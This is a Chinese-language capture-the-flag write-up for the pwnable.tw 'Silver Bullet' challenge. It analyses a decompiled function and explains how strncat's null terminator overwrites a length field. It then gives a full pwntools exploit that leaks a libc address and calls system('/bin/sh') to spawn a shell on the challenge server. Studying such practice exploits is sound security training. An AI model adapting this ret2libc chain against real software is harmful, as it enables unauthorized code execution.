PWNABLE Silver Bullet
查看文件基本信息
分析程序行为
1.创建一个bullet对象,一个变量是输入的字符串的长度,另一个变量是字符串本身
2.将再次输入的字符串拼接到上一字符串后,并更新长度
3.用字符串的长度去与狼人HP相减
静态分析
字符串放到s中,而字符串的长度正好在s的后面
int __cdecl power_up(char *dest) { char s[48]; // [esp+0h] [ebp-34h] BYREF size_t v3; // [esp+30h] [ebp-4h] v3 = 0; memset(s, 0, sizeof(s)); if ( !*dest ) return puts("You need create the bullet first !"); if ( *((_DWORD *)dest + 12) > 47u ) return puts("You can't power up any more !"); printf("Give me your another description of bullet :"); read_input(s, 48 - *((_DWORD *)dest + 12)); // 可以把这里改成负数? // 并不行,因为是无符号整型 // 但是可以再写入47个字节的数据的话,已经够用了 strncat(dest, s, 48 - *((_DWORD *)dest + 12)); v3 = strlen(s) + *((_DWORD *)dest + 12); printf("Your new power is : %u\n", v3); *((_DWORD *)dest + 12) = v3; return puts("Enjoy it !"); }
漏洞利用
1.strncat在拼接字符串时,会自动在最后面补上一个'\x00' 。又因为存放长度的地址紧挨着字符串地址,且系统是小端序 。 所以可以先create一个47个字节的对象,然后再次power一个1字节的对象,这样在strncat进行拼接时,
会填充一个'\x00',这样正好就把长度给覆盖了。这样长度更新为1,就可以再次利用power进行拼接47个字节了,而且完全够用。
2.因为strncat的特性,始终都会在字符串的末尾进行拼接另一个字符串,再次power时,覆盖的仍然是字符串长度的地址,由于要return需要进行3步骤,所以直接填充3个'\xff'使得长度最大化,后面的步骤就是正常的栈溢出就
可以解决了
EXP
from pwn import * # context.log_level = 'debug' # io=process('./silver_bullet') io=remote('chall.pwnable.tw','10103') elf=ELF('./silver_bullet') libc=ELF('libc_32.so.6') plt_puts=elf.plt['puts'] got_puts=elf.got['puts'] addr_start=0x80484F0 def create(): io.recvuntil('Your choice :') io.sendline('1') io.recvuntil('Give me your description of bullet :') io.sendline('a'*47) def power(bullet): io.recvuntil('Your choice :') io.sendline('2') io.recvuntil('Give me your another description of bullet :') io.sendline(bullet) create() power('1') payload='' payload+='\xff'*3 payload+='a'*4 payload+=p32(plt_puts) payload+=p32(addr_start) payload+=p32(got_puts) power(payload) io.sendline('3') io.recvuntil('Oh ! You win !!\n') addr_puts=u32(io.recv(numb=4)) libc.address=addr_puts-libc.sym['puts'] addr_system=libc.sym['system'] bin_sh=next(libc.search('/bin/sh\x00')) create() power('1') payload2='' payload2+='\xff'*3 payload2+='a'*4 payload2+=p32(addr_system) # payload2+=p32(0) 这里绝对不能是'\x',这样就会把字符串给截断了 payload2+='a'*4 payload2+=p32(bin_sh) power(payload2) io.sendline('3') io.interactive()